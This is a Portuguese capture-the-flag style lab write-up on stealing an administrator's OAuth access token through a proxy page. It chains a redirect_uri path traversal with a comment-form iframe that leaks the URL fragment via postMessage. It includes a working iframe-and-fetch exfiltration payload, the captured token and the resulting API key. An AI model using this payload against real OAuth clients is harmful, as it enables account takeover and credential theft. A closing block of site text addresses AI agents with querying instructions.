> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md).

# Roubo de token de acesso OAuth via página proxy

### Roubando tokens de acesso OAuth por meio de uma página proxy

**Objetivo do laboratório**

Este laboratório implementa um serviço OAuth que permite autenticação via uma rede social. / A validação insuficiente do lado do provedor no OAuth nos permite **direcionar o token de acesso para uma página arbitrária da aplicação cliente**.

O objetivo é:

* identify **uma vulnerabilidade secundária** na aplicação cliente,
* para usar como **página proxy** para exfiltrar o token de acesso OAuth do administrador,
* e então usar esse token para recuperar \*\*l

" O administrador abrirá qualquer conteúdo enviado pelo servidor operacional e já possui uma sessão OAuth ativa.

<figure><img src="/files/d6fa5a39e6ffed3e82e6969f899c031fadc3f762" alt=""><figcaption></figcaption></figure>

\*\* Análise da aplicação cliente\*\*

Uma \*\* área de comentários\*\* é observada abaixo dos artigos do blog.

Ao carregar o formulário de comentários, uma solicitação GET é enviada para

```http
GET /post/comment/comment-form
```

<figure><img src="/files/03816cf60862834a180c79caa710591bdb81ce93" alt=""><figcaption></figcaption></figure>

O formulário é carregado em um **iframe**, que é visível no código-fonte da página da publicação:

{% code overflow="wrap" %}

```javascript
<iframe onload='this.height = this.contentWindow.document.body.scrollHeight + "px"' width=100% frameBorder=0 src='/post/comment/comment-form#postId=2'></iframe>
```

{% endcode %}

<figure><img src="/files/b787c270e1f9012b5df43fbd78a67cc37ff0fe9d" alt=""><figcaption></figcaption></figure>

**Comportamento interessante do JavaScript**

O formulário contém um script JavaScript revelador:

```javascript
<script>
    parent.postMessage({type: 'onload', data: window.location.href}, '*')
    function submitForm(form, ev) {
        ev.preventDefault();
        const formData = new FormData(document.getElementById("comment-form"));
        const hashParams = new URLSearchParams(window.location.hash.substr(1));
        const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
        parent.postMessage({type: 'oncomment', content: o}, '*');
        form.reset();
    }
</script>
```

<figure><img src="/files/35dedd114440ed08f3e8058743021380193a6394" alt=""><figcaption></figcaption></figure>

Pontos-chave:

* O script \*\* lê o fragmento da URL (`#`)\*\*.
* Ele envia seu conteúdo para a página pai por meio de `postMessage`.
* Isso torna possível *fazer com que um token OAuth esteja presente no fragmento*\*.

O formulário de comentários pode, portanto, ser usado como **página proxy**.

**Exploração OAuth via fluxo implícito**

O redirecionamento OAuth é modificado para apontar para o formulário de comentários:

```bash
/../post/comment/comment-form
```

Exemplo de uma solicitação OAuth tratada:

```bash
GET /auth?client_id=bovgn6pnqo8u6y8pbvfsg&redirect_uri=https://0af800750488e51e80e41cce000900fd.web-security-academy.net/oauth-callback../post/comment/comment-form&response_type=token&nonce=-1640208972&scope=openid%20profile%20email
```

Após a autenticação, o servidor OAuth redireciona para:

* /post/comment/comment-form#access/\_token=ykNiftpsUeqLcCU-YsLcTQV40mETdrpdDeEIn8TpxFU

O **o token fica, portanto, exposto no fragmento da URL** e então transmitido ao pai por meio de `postMessage`.

<figure><img src="/files/4da3cfd78459b51483b6b0282469d092f3c5a613" alt=""><figcaption></figcaption></figure>

**Carga enviada à vítima**

Do servidor operacional, enviamos o seguinte conteúdo:

```javascript
<iframe src="https://oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net/auth?client_id=ie5f3rgr0m9qqnl0phsts&redirect_uri=https://0a8100e3034ba84780b9171a008800f5.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-191514846&scope=openid%20profile%20email">
</iframe>

<script>
window.addEventListener('message', function(e) {
  fetch("/" + encodeURIComponent(e.data.data));
})
</script>

```

Operação:

* O iframe aciona o fluxo OAuth implícito.
* O token é injetado no fragmento da URL.
* O formulário de comentários enviado via `postMessage`.
* O script o captura e o exfiltra para o servidor operacional.

**Recuperação do token**

Nos registros do servidor operacional:

{% code overflow="wrap" %}

```bash
10.0.3.168      2026-01-02 20:09:43 +0000 "GET /https%3A%2F%2F0a8100e3034ba84780b9171a008800f5.web-security-academy.net%2Fpost%2Fcomment%2Fcomment-form%23access_token%3D0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn%26expires_in%3D3600%26token_type%3DBearer%26scope%3Dopenid%2520profile%2520email HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

<figure><img src="/files/6e75650408076534e90f89a46d92dc9497502fb8" alt=""><figcaption></figcaption></figure>

Após decodificar a URL, o token é:

* 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn

<figure><img src="/files/08e35ad38d1cfb945fee5e261b092790126ec2de" alt=""><figcaption></figcaption></figure>

**Acesso à API com o token roubado**

O token é usado para chamar o provedor OAuth `/me` endpoint

```http
GET /me HTTP/2
Host: oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net
Authorization: Bearer 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn
Content-Type: application/json
```

Resposta

{% code overflow="wrap" expandable="true" %}

```json
{
        "sub":"administrator",
        "apikey":"yQ9EksfkSsCZbuivwJ4VLCnR9rrRmH5r",
        "name":"Administrator",
        "email":"administrator@normal-user.net",
        "email_verified":true
}
```

{% endcode %}

<figure><img src="/files/1e310b9735f72be592b538cb2940f9ac87096a84" alt=""><figcaption></figcaption></figure>

**Resultado**

* O token OAuth do administrador foi roubado.
* A chave de API do administrador foi recuperada.
* O laboratório foi validado com sucesso.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
